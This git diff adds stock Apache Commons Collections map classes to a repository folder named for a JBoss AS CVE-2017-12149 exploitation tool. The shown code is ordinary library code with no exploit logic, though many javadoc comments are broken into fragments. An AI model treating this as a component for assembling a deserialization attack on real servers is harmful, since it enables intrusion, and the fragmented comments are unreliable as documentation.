+ * @author Matthew Hawthorne
+ */
+public class TypedList {
+
+ /**
+ * Factory method to create a typed list.
+ * List
to ensure it can't be altered.
+ *
+
+
+
+
+
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractHashedMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractHashedMap.java"
new file mode 100644
index 0000000..1098678
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractHashedMap.java"
@@ -0,0 +1,1327 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.util.AbstractCollection;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+import org.apache.commons.collections.IterableMap;
+import org.apache.commons.collections.KeyValue;
+import org.apache.commons.collections.MapIterator;
+import org.apache.commons.collections.iterators.EmptyIterator;
+import org.apache.commons.collections.iterators.EmptyMapIterator;
+
+/**
+ * An abstract implementation of a hash-based map which provides numerous points for
+ * subclasses to override.
+ * HashEntry
class,
+ * which can be overridden and replaced. The iterators can similarly be replaced,
+ * without the need to replace the KeySet, EntrySet and Values view classes.
+ * entry.key
+ * @return true if equal
+ */
+ protected boolean isEqualKey(Object key1, Object key2) {
+ return (key1 == key2 || key1.equals(key2));
+ }
+
+ /**
+ * Compares two values, in external form, to see if they are equal.
+ * This implementation uses the equals method and assumes neither value is null.
+ * Subclasses can override this to match differently.
+ *
+ * @param value1 the first value to compare passed in from outside
+ * @param value2 the second value extracted from the entry via getValue()
+ * @return true if equal
+ */
+ protected boolean isEqualValue(Object value1, Object value2) {
+ return (value1 == value2 || value1.equals(value2));
+ }
+
+ /**
+ * Gets the index into the data storage for the hashCode specified.
+ * This implementation uses the least significant bits of the hashCode.
+ * Subclasses can override this to return alternate bucketing.
+ *
+ * @param hashCode the hash code to use
+ * @param dataSize the size of the data to pick a bucket from
+ * @return the bucket index
+ */
+ protected int hashIndex(int hashCode, int dataSize) {
+ return hashCode & (dataSize - 1);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the entry mapped to the key specified.
+ * setValue()
on the entry.
+ * Subclasses could override to handle changes to the map.
+ *
+ * @param entry the entry to update
+ * @param newValue the new value to store
+ */
+ protected void updateEntry(HashEntry entry, Object newValue) {
+ entry.setValue(newValue);
+ }
+
+ /**
+ * Reuses an existing key-value mapping, storing completely new data.
+ * createEntry()
, addEntry()
+ * and checkCapacity()
.
+ * It also handles changes to modCount
and size
.
+ * Subclasses could override to fully control adds to the map.
+ *
+ * @param hashIndex the index into the data array to store at
+ * @param hashCode the hash code of the key to add
+ * @param key the key to add
+ * @param value the value to add
+ */
+ protected void addMapping(int hashIndex, int hashCode, Object key, Object value) {
+ modCount++;
+ HashEntry entry = createEntry(data[hashIndex], hashCode, key, value);
+ addEntry(entry, hashIndex);
+ size++;
+ checkCapacity();
+ }
+
+ /**
+ * Creates an entry to store the key-value data.
+ * removeEntry()
and destroyEntry()
.
+ * It also handles changes to modCount
and size
.
+ * Subclasses could override to fully control removals from the map.
+ *
+ * @param entry the entry to remove
+ * @param hashIndex the index into the data structure
+ * @param previous the previous entry in the chain
+ */
+ protected void removeMapping(HashEntry entry, int hashIndex, HashEntry previous) {
+ modCount++;
+ removeEntry(entry, hashIndex, previous);
+ size--;
+ destroyEntry(entry);
+ }
+
+ /**
+ * Removes an entry from the chain stored in a particular index.
+ * next
field from a HashEntry
.
+ * Used in subclasses that have no visibility of the field.
+ *
+ * @param entry the entry to query, must not be null
+ * @return the next
field of the entry
+ * @throws NullPointerException if the entry is null
+ * @since Commons Collections 3.1
+ */
+ protected HashEntry entryNext(HashEntry entry) {
+ return entry.next;
+ }
+
+ /**
+ * Gets the hashCode
field from a HashEntry
.
+ * Used in subclasses that have no visibility of the field.
+ *
+ * @param entry the entry to query, must not be null
+ * @return the hashCode
field of the entry
+ * @throws NullPointerException if the entry is null
+ * @since Commons Collections 3.1
+ */
+ protected int entryHashCode(HashEntry entry) {
+ return entry.hashCode;
+ }
+
+ /**
+ * Gets the key
field from a HashEntry
.
+ * Used in subclasses that have no visibility of the field.
+ *
+ * @param entry the entry to query, must not be null
+ * @return the key
field of the entry
+ * @throws NullPointerException if the entry is null
+ * @since Commons Collections 3.1
+ */
+ protected Object entryKey(HashEntry entry) {
+ return entry.key;
+ }
+
+ /**
+ * Gets the value
field from a HashEntry
.
+ * Used in subclasses that have no visibility of the field.
+ *
+ * @param entry the entry to query, must not be null
+ * @return the value
field of the entry
+ * @throws NullPointerException if the entry is null
+ * @since Commons Collections 3.1
+ */
+ protected Object entryValue(HashEntry entry) {
+ return entry.value;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets an iterator over the map.
+ * Changes made to the iterator affect this map.
+ * AbstractHashedMap
but not HashEntry
+ * then you will not be able to access the protected fields.
+ * The entryXxx()
methods on AbstractHashedMap
exist
+ * to provide the necessary access.
+ */
+ protected static class HashEntry implements Map.Entry, KeyValue {
+ /** The next entry in the hash chain */
+ protected HashEntry next;
+ /** The hash code of the key */
+ protected int hashCode;
+ /** The key */
+ protected Object key;
+ /** The value */
+ protected Object value;
+
+ protected HashEntry(HashEntry next, int hashCode, Object key, Object value) {
+ super();
+ this.next = next;
+ this.hashCode = hashCode;
+ this.key = key;
+ this.value = value;
+ }
+
+ public Object getKey() {
+ return (key == NULL ? null : key);
+ }
+
+ public Object getValue() {
+ return value;
+ }
+
+ public Object setValue(Object value) {
+ Object old = this.value;
+ this.value = value;
+ return old;
+ }
+
+ public boolean equals(Object obj) {
+ if (obj == this) {
+ return true;
+ }
+ if (obj instanceof Map.Entry == false) {
+ return false;
+ }
+ Map.Entry other = (Map.Entry) obj;
+ return
+ (getKey() == null ? other.getKey() == null : getKey().equals(other.getKey())) &&
+ (getValue() == null ? other.getValue() == null : getValue().equals(other.getValue()));
+ }
+
+ public int hashCode() {
+ return (getKey() == null ? 0 : getKey().hashCode()) ^
+ (getValue() == null ? 0 : getValue().hashCode());
+ }
+
+ public String toString() {
+ return new StringBuffer().append(getKey()).append('=').append(getValue()).toString();
+ }
+ }
+
+ /**
+ * Base Iterator
+ */
+ protected static abstract class HashIterator implements Iterator {
+
+ /** The parent map */
+ protected final AbstractHashedMap parent;
+ /** The current index into the array of buckets */
+ protected int hashIndex;
+ /** The last returned entry */
+ protected HashEntry last;
+ /** The next entry */
+ protected HashEntry next;
+ /** The modification count expected */
+ protected int expectedModCount;
+
+ protected HashIterator(AbstractHashedMap parent) {
+ super();
+ this.parent = parent;
+ HashEntry[] data = parent.data;
+ int i = data.length;
+ HashEntry next = null;
+ while (i > 0 && next == null) {
+ next = data[--i];
+ }
+ this.next = next;
+ this.hashIndex = i;
+ this.expectedModCount = parent.modCount;
+ }
+
+ public boolean hasNext() {
+ return (next != null);
+ }
+
+ protected HashEntry nextEntry() {
+ if (parent.modCount != expectedModCount) {
+ throw new ConcurrentModificationException();
+ }
+ HashEntry newCurrent = next;
+ if (newCurrent == null) {
+ throw new NoSuchElementException(AbstractHashedMap.NO_NEXT_ENTRY);
+ }
+ HashEntry[] data = parent.data;
+ int i = hashIndex;
+ HashEntry n = newCurrent.next;
+ while (n == null && i > 0) {
+ n = data[--i];
+ }
+ next = n;
+ hashIndex = i;
+ last = newCurrent;
+ return newCurrent;
+ }
+
+ protected HashEntry currentEntry() {
+ return last;
+ }
+
+ public void remove() {
+ if (last == null) {
+ throw new IllegalStateException(AbstractHashedMap.REMOVE_INVALID);
+ }
+ if (parent.modCount != expectedModCount) {
+ throw new ConcurrentModificationException();
+ }
+ parent.remove(last.getKey());
+ last = null;
+ expectedModCount = parent.modCount;
+ }
+
+ public String toString() {
+ if (last != null) {
+ return "Iterator[" + last.getKey() + "=" + last.getValue() + "]";
+ } else {
+ return "Iterator[]";
+ }
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Writes the map data to the stream. This method must be overridden if a
+ * subclass must be setup before put()
is used.
+ * put()
method on read can be
+ * affected by subclass state.
+ * writeObject()
of the first serializable subclass.
+ * put()
is used.
+ * put()
method on read can be
+ * affected by subclass state.
+ * readObject()
of the first serializable subclass.
+ * put()
or calculateThreshold()
will work correctly.
+ *
+ * @param in the input stream
+ */
+ protected void doReadObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ loadFactor = in.readFloat();
+ int capacity = in.readInt();
+ int size = in.readInt();
+ init();
+ data = new HashEntry[capacity];
+ for (int i = 0; i < size; i++) {
+ Object key = in.readObject();
+ Object value = in.readObject();
+ put(key, value);
+ }
+ threshold = calculateThreshold(data.length, loadFactor);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Clones the map without cloning the keys or values.
+ * clone()
, a subclass must implement the
+ * Cloneable
interface and make this method public.
+ *
+ * @return a shallow clone
+ */
+ protected Object clone() {
+ try {
+ AbstractHashedMap cloned = (AbstractHashedMap) super.clone();
+ cloned.data = new HashEntry[data.length];
+ cloned.entrySet = null;
+ cloned.keySet = null;
+ cloned.values = null;
+ cloned.modCount = 0;
+ cloned.size = 0;
+ cloned.init();
+ cloned.putAll(this);
+ return cloned;
+
+ } catch (CloneNotSupportedException ex) {
+ return null; // should never happen
+ }
+ }
+
+ /**
+ * Compares this map with another.
+ *
+ * @param obj the object to compare to
+ * @return true if equal
+ */
+ public boolean equals(Object obj) {
+ if (obj == this) {
+ return true;
+ }
+ if (obj instanceof Map == false) {
+ return false;
+ }
+ Map map = (Map) obj;
+ if (map.size() != size()) {
+ return false;
+ }
+ MapIterator it = mapIterator();
+ try {
+ while (it.hasNext()) {
+ Object key = it.next();
+ Object value = it.getValue();
+ if (value == null) {
+ if (map.get(key) != null || map.containsKey(key) == false) {
+ return false;
+ }
+ } else {
+ if (value.equals(map.get(key)) == false) {
+ return false;
+ }
+ }
+ }
+ } catch (ClassCastException ignored) {
+ return false;
+ } catch (NullPointerException ignored) {
+ return false;
+ }
+ return true;
+ }
+
+ /**
+ * Gets the standard Map hashCode.
+ *
+ * @return the hash code defined in the Map interface
+ */
+ public int hashCode() {
+ int total = 0;
+ Iterator it = createEntrySetIterator();
+ while (it.hasNext()) {
+ total += it.next().hashCode();
+ }
+ return total;
+ }
+
+ /**
+ * Gets the map as a String.
+ *
+ * @return a string version of the map
+ */
+ public String toString() {
+ if (size() == 0) {
+ return "{}";
+ }
+ StringBuffer buf = new StringBuffer(32 * size());
+ buf.append('{');
+
+ MapIterator it = mapIterator();
+ boolean hasNext = it.hasNext();
+ while (hasNext) {
+ Object key = it.next();
+ Object value = it.getValue();
+ buf.append(key == this ? "(this Map)" : key)
+ .append('=')
+ .append(value == this ? "(this Map)" : value);
+
+ hasNext = it.hasNext();
+ if (hasNext) {
+ buf.append(',').append(' ');
+ }
+ }
+
+ buf.append('}');
+ return buf.toString();
+ }
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator.java"
new file mode 100644
index 0000000..d2a0cb2
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator.java"
@@ -0,0 +1,196 @@
+/*
+ * Copyright 2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.lang.reflect.Array;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+
+import org.apache.commons.collections.iterators.AbstractIteratorDecorator;
+import org.apache.commons.collections.keyvalue.AbstractMapEntryDecorator;
+import org.apache.commons.collections.set.AbstractSetDecorator;
+
+/**
+ * An abstract base class that simplifies the task of creating map decorators.
+ * setValue
.
+ * checkSetValue
has any effect.
+ * checkSetValue
method
+ * has no effect as this optimises the implementation.
+ * true
.
+ *
+ * @param value the value to check
+ */
+ protected boolean isSetValueChecking() {
+ return true;
+ }
+
+ //-----------------------------------------------------------------------
+ public Set entrySet() {
+ if (isSetValueChecking()) {
+ return new EntrySet(map.entrySet(), this);
+ } else {
+ return map.entrySet();
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Implementation of an entry set that checks additions via setValue.
+ */
+ static class EntrySet extends AbstractSetDecorator {
+
+ /** The parent map */
+ private final AbstractInputCheckedMapDecorator parent;
+
+ protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
+ super(set);
+ this.parent = parent;
+ }
+
+ public Iterator iterator() {
+ return new EntrySetIterator(collection.iterator(), parent);
+ }
+
+ public Object[] toArray() {
+ Object[] array = collection.toArray();
+ for (int i = 0; i < array.length; i++) {
+ array[i] = new MapEntry((Map.Entry) array[i], parent);
+ }
+ return array;
+ }
+
+ public Object[] toArray(Object array[]) {
+ Object[] result = array;
+ if (array.length > 0) {
+ // we must create a new array to handle multi-threaded situations
+ // where another thread could access data before we decorate it
+ result = (Object[]) Array.newInstance(array.getClass().getComponentType(), 0);
+ }
+ result = collection.toArray(result);
+ for (int i = 0; i < result.length; i++) {
+ result[i] = new MapEntry((Map.Entry) result[i], parent);
+ }
+
+ // check to see if result should be returned straight
+ if (result.length > array.length) {
+ return result;
+ }
+
+ // copy back into input array to fulfil the method contract
+ System.arraycopy(result, 0, array, 0, result.length);
+ if (array.length > result.length) {
+ array[result.length] = null;
+ }
+ return array;
+ }
+ }
+
+ /**
+ * Implementation of an entry set iterator that checks additions via setValue.
+ */
+ static class EntrySetIterator extends AbstractIteratorDecorator {
+
+ /** The parent map */
+ private final AbstractInputCheckedMapDecorator parent;
+
+ protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
+ super(iterator);
+ this.parent = parent;
+ }
+
+ public Object next() {
+ Map.Entry entry = (Map.Entry) iterator.next();
+ return new MapEntry(entry, parent);
+ }
+ }
+
+ /**
+ * Implementation of a map entry that checks additions via setValue.
+ */
+ static class MapEntry extends AbstractMapEntryDecorator {
+
+ /** The parent map */
+ private final AbstractInputCheckedMapDecorator parent;
+
+ protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
+ super(entry);
+ this.parent = parent;
+ }
+
+ public Object setValue(Object value) {
+ value = parent.checkSetValue(value);
+ return entry.setValue(value);
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractLinkedMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractLinkedMap.java"
new file mode 100644
index 0000000..70f38b6
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractLinkedMap.java"
@@ -0,0 +1,608 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.util.ConcurrentModificationException;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.NoSuchElementException;
+
+import org.apache.commons.collections.MapIterator;
+import org.apache.commons.collections.OrderedIterator;
+import org.apache.commons.collections.OrderedMap;
+import org.apache.commons.collections.OrderedMapIterator;
+import org.apache.commons.collections.ResettableIterator;
+import org.apache.commons.collections.iterators.EmptyOrderedIterator;
+import org.apache.commons.collections.iterators.EmptyOrderedMapIterator;
+
+/**
+ * An abstract implementation of a hash-based map that links entries to create an
+ * ordered map and which provides numerous points for subclasses to override.
+ * LinkEntry
class which can be overridden and replaced.
+ * The iterators can similarly be replaced, without the need to replace the KeySet,
+ * EntrySet and Values view classes.
+ * OrderedMap
interface is implemented
+ * to provide access to bidirectional iteration and extra convenience methods.
+ * orderedMapIterator()
method provides direct access to a
+ * bidirectional iterator. The iterators from the other views can also be cast
+ * to OrderedIterator
if required.
+ * ResettableIterator
and calling reset()
.
+ * before
field from a LinkEntry
.
+ * Used in subclasses that have no visibility of the field.
+ *
+ * @param entry the entry to query, must not be null
+ * @return the before
field of the entry
+ * @throws NullPointerException if the entry is null
+ * @since Commons Collections 3.1
+ */
+ protected LinkEntry entryBefore(LinkEntry entry) {
+ return entry.before;
+ }
+
+ /**
+ * Gets the after
field from a LinkEntry
.
+ * Used in subclasses that have no visibility of the field.
+ *
+ * @param entry the entry to query, must not be null
+ * @return the after
field of the entry
+ * @throws NullPointerException if the entry is null
+ * @since Commons Collections 3.1
+ */
+ protected LinkEntry entryAfter(LinkEntry entry) {
+ return entry.after;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets an iterator over the map.
+ * Changes made to the iterator affect this map.
+ * AbstractLinkedMap
but not LinkEntry
+ * then you will not be able to access the protected fields.
+ * The entryXxx()
methods on AbstractLinkedMap
exist
+ * to provide the necessary access.
+ */
+ protected static class LinkEntry extends HashEntry {
+ /** The entry before this one in the order */
+ protected LinkEntry before;
+ /** The entry after this one in the order */
+ protected LinkEntry after;
+
+ /**
+ * Constructs a new entry.
+ *
+ * @param next the next entry in the hash bucket sequence
+ * @param hashCode the hash code
+ * @param key the key
+ * @param value the value
+ */
+ protected LinkEntry(HashEntry next, int hashCode, Object key, Object value) {
+ super(next, hashCode, key, value);
+ }
+ }
+
+ /**
+ * Base Iterator that iterates in link order.
+ */
+ protected static abstract class LinkIterator
+ implements OrderedIterator, ResettableIterator {
+
+ /** The parent map */
+ protected final AbstractLinkedMap parent;
+ /** The current (last returned) entry */
+ protected LinkEntry last;
+ /** The next entry */
+ protected LinkEntry next;
+ /** The modification count expected */
+ protected int expectedModCount;
+
+ protected LinkIterator(AbstractLinkedMap parent) {
+ super();
+ this.parent = parent;
+ this.next = parent.header.after;
+ this.expectedModCount = parent.modCount;
+ }
+
+ public boolean hasNext() {
+ return (next != parent.header);
+ }
+
+ public boolean hasPrevious() {
+ return (next.before != parent.header);
+ }
+
+ protected LinkEntry nextEntry() {
+ if (parent.modCount != expectedModCount) {
+ throw new ConcurrentModificationException();
+ }
+ if (next == parent.header) {
+ throw new NoSuchElementException(AbstractHashedMap.NO_NEXT_ENTRY);
+ }
+ last = next;
+ next = next.after;
+ return last;
+ }
+
+ protected LinkEntry previousEntry() {
+ if (parent.modCount != expectedModCount) {
+ throw new ConcurrentModificationException();
+ }
+ LinkEntry previous = next.before;
+ if (previous == parent.header) {
+ throw new NoSuchElementException(AbstractHashedMap.NO_PREVIOUS_ENTRY);
+ }
+ next = previous;
+ last = previous;
+ return last;
+ }
+
+ protected LinkEntry currentEntry() {
+ return last;
+ }
+
+ public void remove() {
+ if (last == null) {
+ throw new IllegalStateException(AbstractHashedMap.REMOVE_INVALID);
+ }
+ if (parent.modCount != expectedModCount) {
+ throw new ConcurrentModificationException();
+ }
+ parent.remove(last.getKey());
+ last = null;
+ expectedModCount = parent.modCount;
+ }
+
+ public void reset() {
+ last = null;
+ next = parent.header.after;
+ }
+
+ public String toString() {
+ if (last != null) {
+ return "Iterator[" + last.getKey() + "=" + last.getValue() + "]";
+ } else {
+ return "Iterator[]";
+ }
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractMapDecorator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractMapDecorator.java"
new file mode 100644
index 0000000..9878c7d
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractMapDecorator.java"
@@ -0,0 +1,140 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.util.Collection;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Provides a base decorator that enables additional functionality to be added
+ * to a Map via decoration.
+ * ReferenceEntry
class which can be overridden and replaced.
+ * The iterators can similarly be replaced, without the need to replace the KeySet,
+ * EntrySet and Values view classes.
+ * AbstractReferenceMap
, you can specify what
+ * kind of references are used to store the map's keys and values.
+ * If non-hard references are used, then the garbage collector can remove
+ * mappings if a key or value becomes unreachable, or if the JVM's memory is
+ * running low. For information on how the different reference types behave,
+ * see {@link Reference}.
+ * WeakHashMap
. However, you can also specify hard keys and
+ * weak values, or any other combination. The default constructor uses
+ * hard keys and soft values, providing a memory-sensitive cache.
+ * NullPointerException
.
+ * ResettableIterator
and calling reset()
.
+ * ReferenceMap
.
+ *
+ * @see java.lang.ref.Reference
+ * @since Commons Collections 3.1 (extracted from ReferenceMap in 3.0)
+ * @version $Revision: 1.3 $ $Date: 2004/06/07 22:14:42 $
+ *
+ * @author Paul Jack
+ * @author Stephen Colebourne
+ */
+public abstract class AbstractReferenceMap extends AbstractHashedMap {
+
+ /** Constant indicating that hard references should be used */
+ public static final int HARD = 0;
+
+ /** Constant indicating that soft references should be used */
+ public static final int SOFT = 1;
+
+ /** Constant indicating that weak references should be used */
+ public static final int WEAK = 2;
+
+ /**
+ * The reference type for keys. Must be HARD, SOFT, WEAK.
+ * @serial
+ */
+ protected int keyType;
+
+ /**
+ * The reference type for values. Must be HARD, SOFT, WEAK.
+ * @serial
+ */
+ protected int valueType;
+
+ /**
+ * Should the value be automatically purged when the associated key has been collected?
+ */
+ protected boolean purgeValues;
+
+ /**
+ * ReferenceQueue used to eliminate stale mappings.
+ * See purge.
+ */
+ private transient ReferenceQueue queue;
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor used during deserialization.
+ */
+ protected AbstractReferenceMap() {
+ super();
+ }
+
+ /**
+ * Constructs a new empty map with the specified reference types,
+ * load factor and initial capacity.
+ *
+ * @param keyType the type of reference to use for keys;
+ * must be {@link #HARD}, {@link #SOFT}, {@link #WEAK}
+ * @param valueType the type of reference to use for values;
+ * must be {@link #HARD}, {@link #SOFT}, {@link #WEAK}
+ * @param capacity the initial capacity for the map
+ * @param loadFactor the load factor for the map
+ * @param purgeValues should the value be automatically purged when the
+ * key is garbage collected
+ */
+ protected AbstractReferenceMap(
+ int keyType, int valueType, int capacity,
+ float loadFactor, boolean purgeValues) {
+ super(capacity, loadFactor);
+ verify("keyType", keyType);
+ verify("valueType", valueType);
+ this.keyType = keyType;
+ this.valueType = valueType;
+ this.purgeValues = purgeValues;
+ }
+
+ /**
+ * Initialise this subclass during construction, cloning or deserialization.
+ */
+ protected void init() {
+ queue = new ReferenceQueue();
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Checks the type int is a valid value.
+ *
+ * @param name the name for error messages
+ * @param type the type value to check
+ * @throws IllegalArgumentException if the value if invalid
+ */
+ private static void verify(String name, int type) {
+ if ((type < HARD) || (type > WEAK)) {
+ throw new IllegalArgumentException(name + " must be HARD, SOFT, WEAK.");
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the size of the map.
+ *
+ * @return the size
+ */
+ public int size() {
+ purgeBeforeRead();
+ return super.size();
+ }
+
+ /**
+ * Checks whether the map is currently empty.
+ *
+ * @return true if the map is currently size zero
+ */
+ public boolean isEmpty() {
+ purgeBeforeRead();
+ return super.isEmpty();
+ }
+
+ /**
+ * Checks whether the map contains the specified key.
+ *
+ * @param key the key to search for
+ * @return true if the map contains the key
+ */
+ public boolean containsKey(Object key) {
+ purgeBeforeRead();
+ Entry entry = getEntry(key);
+ if (entry == null) {
+ return false;
+ }
+ return (entry.getValue() != null);
+ }
+
+ /**
+ * Checks whether the map contains the specified value.
+ *
+ * @param value the value to search for
+ * @return true if the map contains the value
+ */
+ public boolean containsValue(Object value) {
+ purgeBeforeRead();
+ if (value == null) {
+ return false;
+ }
+ return super.containsValue(value);
+ }
+
+ /**
+ * Gets the value mapped to the key specified.
+ *
+ * @param key the key
+ * @return the mapped value, null if no match
+ */
+ public Object get(Object key) {
+ purgeBeforeRead();
+ Entry entry = getEntry(key);
+ if (entry == null) {
+ return null;
+ }
+ return entry.getValue();
+ }
+
+
+ /**
+ * Puts a key-value mapping into this map.
+ * Neither the key nor the value may be null.
+ *
+ * @param key the key to add, must not be null
+ * @param value the value to add, must not be null
+ * @return the value previously mapped to this key, null if none
+ * @throws NullPointerException if either the key or value is null
+ */
+ public Object put(Object key, Object value) {
+ if (key == null) {
+ throw new NullPointerException("null keys not allowed");
+ }
+ if (value == null) {
+ throw new NullPointerException("null values not allowed");
+ }
+
+ purgeBeforeWrite();
+ return super.put(key, value);
+ }
+
+ /**
+ * Removes the specified mapping from this map.
+ *
+ * @param key the mapping to remove
+ * @return the value mapped to the removed key, null if key not in map
+ */
+ public Object remove(Object key) {
+ if (key == null) {
+ return null;
+ }
+ purgeBeforeWrite();
+ return super.remove(key);
+ }
+
+ /**
+ * Clears this map.
+ */
+ public void clear() {
+ super.clear();
+ while (queue.poll() != null) {} // drain the queue
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets a MapIterator over the reference map.
+ * The iterator only returns valid key/value pairs.
+ *
+ * @return a map iterator
+ */
+ public MapIterator mapIterator() {
+ return new ReferenceMapIterator(this);
+ }
+
+ /**
+ * Returns a set view of this map's entries.
+ * An iterator returned entry is valid until next()
is called again.
+ * The setValue()
method on the toArray
entries has no effect.
+ *
+ * @return a set view of this map's entries
+ */
+ public Set entrySet() {
+ if (entrySet == null) {
+ entrySet = new ReferenceEntrySet(this);
+ }
+ return entrySet;
+ }
+
+ /**
+ * Returns a set view of this map's keys.
+ *
+ * @return a set view of this map's keys
+ */
+ public Set keySet() {
+ if (keySet == null) {
+ keySet = new ReferenceKeySet(this);
+ }
+ return keySet;
+ }
+
+ /**
+ * Returns a collection view of this map's values.
+ *
+ * @return a set view of this map's values
+ */
+ public Collection values() {
+ if (values == null) {
+ values = new ReferenceValues(this);
+ }
+ return values;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Purges stale mappings from this map before read operations.
+ * entry.key
+ * @return true if equal
+ */
+ protected boolean isEqualKey(Object key1, Object key2) {
+ key2 = (keyType > HARD ? ((Reference) key2).get() : key2);
+ return (key1 == key2 || key1.equals(key2));
+ }
+
+ /**
+ * Creates a ReferenceEntry instead of a HashEntry.
+ *
+ * @param next the next entry in sequence
+ * @param hashCode the hash code to use
+ * @param key the key to store
+ * @param value the value to store
+ * @return the newly created entry
+ */
+ protected HashEntry createEntry(HashEntry next, int hashCode, Object key, Object value) {
+ return new ReferenceEntry(this, next, hashCode, key, value);
+ }
+
+ /**
+ * Creates an entry set iterator.
+ *
+ * @return the entrySet iterator
+ */
+ protected Iterator createEntrySetIterator() {
+ return new ReferenceEntrySetIterator(this);
+ }
+
+ /**
+ * Creates an key set iterator.
+ *
+ * @return the keySet iterator
+ */
+ protected Iterator createKeySetIterator() {
+ return new ReferenceKeySetIterator(this);
+ }
+
+ /**
+ * Creates an values iterator.
+ *
+ * @return the values iterator
+ */
